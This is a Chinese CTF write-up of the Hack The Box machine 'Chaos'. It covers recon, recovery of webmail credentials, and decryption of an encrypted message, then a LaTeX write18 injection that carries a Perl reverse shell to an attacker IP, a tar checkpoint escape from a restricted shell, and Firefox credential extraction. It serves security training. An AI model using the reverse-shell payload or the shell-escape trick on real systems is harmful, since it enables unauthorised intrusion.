1. 程式人生 > >【HTB系列】靶機Chaos的滲透測試詳解

【HTB系列】靶機Chaos的滲透測試詳解

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:大方子(Ms08067實驗室核心成員)` **知識點:** 1. 通過域名或者IP可能會得到網站的不同響應 2. Wpscan的掃描wordpress 3. 修改hosts來對網頁郵件系統webmail進行訪問 4. LaTax反彈shell 5. 通過tar來進行限制shell的繞過並修復shell的PATH 6. 用firefox_decrypt提取火狐的使用者憑證快取 ##介紹 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301092149085-1592920617.png) Kali: 10.10.12.87 靶機地址:10.10.10.120 先用Nmap來進行探測 ``` root@kali:~/HTB# nmap -sV -T5 -sC 10.10.10.120 Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-08 13:18 CST Nmap scan report for 10.10.10.120 Host is up (0.21s latency). Not shown: 994 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.34 ((Ubuntu)) |_http-server-header: Apache/2.4.34 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 110/tcp open pop3 Dovecot pop3d |_pop3-capabilities: STLS UIDL TOP SASL RESP-CODES CAPA AUTH-RESP-CODE PIPELINING | ssl-cert: Subject: commonName=chaos | Subject Alternative Name: DNS:chaos | Not valid before: 2018-10-28T10:01:49 |_Not valid after: 2028-10-25T10:01:49 |_ssl-date: TLS randomness does not represent time 143/tcp open imap Dovecot imapd (Ubuntu) |_imap-capabilities: STARTTLS ENABLE LITERAL+ OK IMAP4rev1 SASL-IR LOGINDISABLEDA0001 have post-login listed ID IDLE LOGIN-REFERRALS capabilities more Pre-login | ssl-cert: Subject: commonName=chaos | Subject Alternative Name: DNS:chaos | Not valid before: 2018-10-28T10:01:49 |_Not valid after: 2028-10-25T10:01:49 |_ssl-date: TLS randomness does not represent time 993/tcp open ssl/imap Dovecot imapd (Ubuntu) |_imap-capabilities: ENABLE LITERAL+ OK AUTH=PLAINA0001 SASL-IR capabilities have post-login listed ID IDLE LOGIN-REFERRALS IMAP4rev1 more Pre-login | ssl-cert: Subject: commonName=chaos | Subject Alternative Name: DNS:chaos | Not valid before: 2018-10-28T10:01:49 |_Not valid after: 2028-10-25T10:01:49 |_ssl-date: TLS randomness does not represent time 995/tcp open ssl/pop3 Dovecot pop3d |_pop3-capabilities: AUTH-RESP-CODE UIDL TOP SASL(PLAIN) RESP-CODES CAPA USER PIPELINING | ssl-cert: Subject: commonName=chaos | Subject Alternative Name: DNS:chaos | Not valid before: 2018-10-28T10:01:49 |_Not valid after: 2028-10-25T10:01:49 |_ssl-date: TLS randomness does not represent time 10000/tcp open http MiniServ 1.890 (Webmin httpd) |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 58.63 seconds ``` 靶機上執行這http服,pop3 imap 以及它們對應的ssl加密後的服務,還有一個就是監聽在1000的MiniServ 我們看下80埠 80埠: ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301092534737-502068003.png) 發現靶機是不允許直接使用IP進行訪問的,那麼我們修改下/etc/hosts檔案 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301092544214-2131024950.png) 再次訪問 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301092554233-321604949.png) 這裡我們用gobuster爆破下目錄,為了結果的準確我把IP型別的地址和域名型別的地址都掃描了一遍 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301092711070-1692488333.png) ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301092714715-47784541.png) 出現的結果不同,但是都是一個問題就是網站目錄可直接訪問,在IP的掃描結果中我們發現了wp(wordpress),這裡我們只能用IP去訪問用域名去訪問是沒有的 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301092723860-1224933951.png) ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301092729679-1450737421.png) 那麼我們就用wpscan去掃描下,這裡用tee命令在輸出結果到終端的同時也把結果輸出到檔案中去。 這裡掃描出了2條有用的資訊,這裡有個使用者名稱字叫human ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301092744674-939034464.png) 我們嘗試把human當成密碼輸入到剛剛頁面那篇的加密文章,發現是正確的並且我們得到了webmail的帳戶和密碼 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301092758070-693833331.png) ``` Creds for webmail : username – ayush password – jiujitsu ``` 我們是有看到靶機是執行這郵件系統的,我們用這個嘗試去登陸,我們再再hosts中增加webmai.chaos.htb的記錄 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301092822012-2144081594.png) 然後輸入webmail.chaos.htb進行登陸 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301092828854-348207747.png) 然後我們在草稿箱中發現了這個 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301092837122-1142192045.png) 一個是加密後的資訊,一個是加密的指令碼檔案,郵件也說了“你就是密碼”,所以我們可以先拿sahay當作密碼進行嘗試破解 以下是加密的指令碼檔案 ``` def encrypt(key, filename): chunksize = 64*1024 outputFile = "en" + filename filesize = str(os.path.getsize(filename)).zfill(16) IV =Random.new().read(16) encryptor = AES.new(key, AES.MODE_CBC, IV) with open(filename, 'rb') as infile: with open(outputFile, 'wb') as outfile: outfile.write(filesize.encode('utf-8')) outfile.write(IV) while True: chunk = infile.read(chunksize) if len(chunk) == 0: break elif len(chunk) % 16 != 0: chunk += b' ' * (16 - (len(chunk) % 16)) outfile.write(encryptor.encrypt(chunk)) def getKey(password): hasher = SHA256.new(password.encode('utf-8')) return hasher.digest() ``` 根據加密指令碼寫出對應的解密指令碼 ``` from Crypto.Hash import SHA256 from Crypto.Cipher import AES import Crypto.Cipher.AES from binascii import hexlify, unhexlify def encrypt(key, filename): chunksize = 64*1024 outputFile = "en" + filename filesize = str(os.path.getsize(filename)).zfill(16) IV =Random.new().read(16) encryptor = AES.new(key, AES.MODE_CBC, IV) with open(filename, 'rb') as infile: with open(outputFile, 'wb') as outfile: outfile.write(filesize.encode('utf-8')) outfile.write(IV) while True: chunk = infile.read(chunksize) if len(chunk) == 0: break elif len(chunk) % 16 != 0: chunk += b' ' * (16 - (len(chunk) % 16)) outfile.write(encryptor.encrypt(chunk)) def getKey(password): hasher = SHA256.new(password.encode('utf-8')) return hasher.digest() if __name__=="__main__": chunksize = 64*1024 mkey = getKey("sahay") mIV = (b"0000000000000234") decipher = AES.new(mkey,AES.MODE_CBC,mIV) with open("enim_msg.txt", 'rb') as infile: chunk = infile.read(chunksize) plaintext = decipher.decrypt(chunk) print plaintext ``` 執行解密指令碼得到Base64加密後的結果: ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301093112555-1978188708.png) 這裡前面的16為IV向量要去除,然後通過base64解碼 ``` echo "SGlpIFNhaGF5CgpQbGVhc2UgY2hlY2sgb3VyIG5ldyBzZXJ2aWNlIHdoaWNoIGNyZWF0ZSBwZGYKCnAucyAtIEFzIHlvdSB0b2xkIG1lIHRvIGVuY3J5cHQgaW1wb3J0YW50IG1zZywgaSBkaWQgOikKCmh0dHA6Ly9jaGFvcy5odGIvSjAwX3cxbGxfZjFOZF9uMDdIMW45X0gzcjMKClRoYW5rcywKQXl1c2gK" | base64 -d ``` ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301093135898-1320161145.png) 得到一個連線:http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301093153011-865128955.png) LaTax常用於文件排版的,具體可以百度下! 輸入文字並選擇好模板後可以生成PDF,可以在 http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/pdf/ 看到生成好的PDF! 關於LaTax的攻擊可以參考這篇文章: https://0day.work/hacking-with-latex/ 我們使用下面的exp反彈shell ``` \immediate\write18{perl -e 'use Socket;$i="你的IP地址";$p=埠; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'} ``` 監聽制定埠並執行EXP ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301093355802-1844478756.png) ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301093402475-1151115942.png) 在得到shell後,我們用python建立一個穩定的shell ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301093410563-1250034002.png) 切換到Home目錄發現這2個目錄都沒有許可權 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301093419555-409684405.png) 我們試下之前的mail的帳戶密碼,看看能不能切換到ayush username – ayush password – jiujitsu 切換成功但是,ayush處於受限的shell中 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301093437620-511371252.png) ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301093441734-600531788.png) 這裡我們看到我們的PATH是ayush/.app,我們只能用這3個命令 對於限制shell的繞過,可以參考這個: https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf 那麼我們用tar 進行繞過! 這裡我們先切換回www-data,因為www-data的shell是正常的,然我們切換到/tmp目錄下並建立rick並進行壓縮 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301093503162-515626323.png) ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301093507535-37880453.png) 然後在切換到ayush ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301093516577-620053307.png) 然後先進行繞過! ``` tar cf /dev/null rick.tar --checkpoint=1 --checkpoint-action=exec=/bin/bash ``` 再修復下PATH ``` export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ``` ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301093622839-1127333069.png) 然後得到user flag ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301093630215-1581997233.png) 然後我們發現使用者的目錄下又.mozilla的檔案裡面有個firefox,用ls-la檢視大小發現都大於firefox的預設大小,懷疑裡面是有使用者的憑證的 使用firefox_decrypt提取快取憑據,專案地址: https://github.com/unode/firefox_decrypt 然後把專案下載到靶機中去! ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301093645634-816371226.png) 然後對提取指令碼加執行許可權,並進行解密,提示需要輸入主金鑰我們同樣輸入jiujitsu,發現密碼也是正確的! ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301093654143-1310121032.png) 切換到root得到root flag!! ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210301093704285-1389728336.png)       **轉載請聯絡作者並註明出處!** Ms08067安全實驗室專注於網路安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java程式碼安全審計(入門篇)》等書籍。 團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術乾貨,從零開始、以實戰落地為主,致力於做一個實用的乾貨分享型公眾號。 官方網站:https://www.ms08067.com/ 掃描下方二維碼加入實驗室VIP社群 加入後邀請加入內部VIP群,內部微信群永久有效!

相關推薦

HTB系列靶機Chaos滲透測試

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:大方子(Ms08067實驗室核心成員)` **知識點:** 1. 通過域名或者IP可能會得到網站的不同響應 2. Wpscan的掃描wordpress 3. 修改hosts來對網頁郵件系統webmail進行訪問 4. LaT

HTB系列靶機Access的滲透測試

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:大方子(Ms08067實驗室核心成員)` Hack The Box是一個CTF挑戰靶機平臺,線上滲透測試平臺。它能幫助你提升滲透測試技能和黑盒測試技能,它包含了一些不斷更新的挑戰,其中有模擬真實世界場景,也有傾向於CTF風格

HTB系列 靶機Swagshop的滲透測試

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:是大方子(Ms08067實驗室核心成員)` **總結與反思** * 使用vi提權 * magento漏洞的利用 * magescan 工具的使用 **靶機介紹** ![](https://img2020.cnblogs.

HTB系列靶機Bitlab的滲透測試

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:是大方子(Ms08067實驗室核心成員)` ##0x00 本文目錄 * 反思與總結 * 基本資訊 * 滲透測試過程 * 補充 ##0x01 反思與總結 1. curl 傳送GET引數化請求 2. 對反彈回來的shell進行

專欄 - Python Selenium自動化測試

Python Selenium自動化測試詳解 使用Python語言操作Selenium(webdriver)進行UI自動化測試的一些技能、API詳解、問題解決辦法以及程式碼示例、以及自動化測試框架的搭建

Mint-UIAction sheet 用法及(內含取消事件的觸發方法)

鑑於mint-ui官方文件的極簡描述和對功能介紹的點到為止,許多功能的完全實現是需要通過閱讀原始碼才可以知道其真正的用法。 今天給大家介紹一下Action sheet的用法,以及我踩過的坑,感覺比較有意義,希望能幫到各位。 效果圖: 首先我先帶大家看一下官方的介紹: act

人人都是Pythoner超全python的collections模組

前言: python中內建容器包括list、dict、set、tuple,而python中的collections模組則另引入了五種資料結構,更好地滿足編碼需求。 下文驗證資料型別方法用到的程式碼放在了我的github上,歡迎下載: AdvancingMsCat的github co

Gans入門Pytorch實現Gans程式碼70+程式碼

簡述 由於科技論文老師要求閱讀Gans論文並在網上找到類似的程式碼來學習。 程式碼來源 程式碼含義概覽 這個大致講講這個程式碼實現了什麼。 這個模型的輸入為:一些資料夾雜在x2x^2x2和2x2+12x^2+12x2+1這個兩個函式之間的一些資料。這個用線性

Java Web: JSON 資料格式

  JSON (JavaScript Object Notation) JavaScript物件圖,它是由Douglas Crockford(道格拉斯·克洛克福特)發明的。   JSON與XML一樣

Linux驅動Linux裝置樹語法

1 概念Linux核心從3.x開始引入裝置樹的概念,用於實現驅動程式碼與裝置資訊相分離。在裝置樹出現以前,所有關於裝置的具體資訊都要寫在驅動裡,一旦外圍裝置變化,驅動程式碼就要重寫。引入了裝置樹之後,驅動程式碼只負責處理驅動的邏輯,而關於裝置的具體資訊存放到裝置樹檔案中,這樣,如果只是硬體介面資訊的變化而沒有

SSH 基礎SSH框架--struts深入(二)

繼上篇部落格 既然我們知道了不使用struts給我們帶來這麼多弊端,那麼下面我們來看看struts是如何封裝的,怎麼解決我們出現的問題的? 先來說一下struts的基本流程,幫助大家理解下面的程式碼: Struts基本簡要流程如下:      1、客戶端瀏覽器發出HT

Java Web: GSON 資料格式

    在上一講中我們講到了 JSON資料格式的內容,這一講我們來講一下Google對JSON這種格式的支援。     我們看到Java中的JSON庫除了org.json之外還有一個 google-g

Redis學習:set資料型別

set資料結構 常用命令 新增/刪除元素 sadd key values[value1 value2 ...] 向set中新增資料,如果該key的值已有不會重複新增。 srem

Redis學習:list資料型別

list資料結構 在redis中,list資料結構是按照插入順序的字串連結串列,和資料結構中的普通連結串列一樣,我們可以在其頭部(left)和尾部(right)新增新的元素。在插入時,如果該鍵並不

網路安全加解密演算法最

資料簽名、加密是前後端開發經常需要使用到的技術,應用場景包括不限於使用者登入、資料交易、資訊通訊等,不同的應用場景也會需要使用到不同的簽名加密演算法,或者需要搭配不一樣的 簽名加密演算法來達到業務目標。常用的加密演算法有: 對稱加密演算法; 非對稱加密演算法; 雜湊演算法,加鹽雜湊演算法(單向加密); 數

Flutter 實戰pubspec.yaml 配置檔案

![](https://img2020.cnblogs.com/other/467322/202011/467322-20201104214438153-1813741256.png) > **老孟導讀**:**pubspec.yaml** 檔案是 Flutter 中非常重要的配置檔案,下面就讓我們看

HTB靶場系列靶機Carrier的滲透測試

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:大方子(Ms08067實驗室核心成員)` Hack The Box是一個CTF挑戰靶機平臺,線上滲透測試平臺。它能幫助你提升滲透測試技能和黑盒測試技能,它包含了一些不斷更新的挑戰,其中有模擬真實世界場景,也有傾向於CTF風格

安全牛學習筆記Kali Linux滲透測試方法

信息安全 kali linux security+ 1.安全問題的根源①由於分層思想,導致每個層次的相關人員都只關心自己層次的工作,因此每個人認識系統都是片面的,而安全是全方位的,整體的,所以造成安全問題。②技術人員追求效率,導致只追求功能實現,而很容易忽略安全性的工作③由於人都是會犯錯誤的,因此

安全牛學習筆記​Kali Linux滲透測試介紹

Kali Linux滲透測試介紹 安全問題的根源         優點:分工明確,工作效率高。(把大問題簡化成易於解決的小問題)         缺點:從業人員對系統沒有整體的認識,對安全認識較為片面。(搞技術的為了提高工作效率,只追求功能實現, 很少能在實現功能後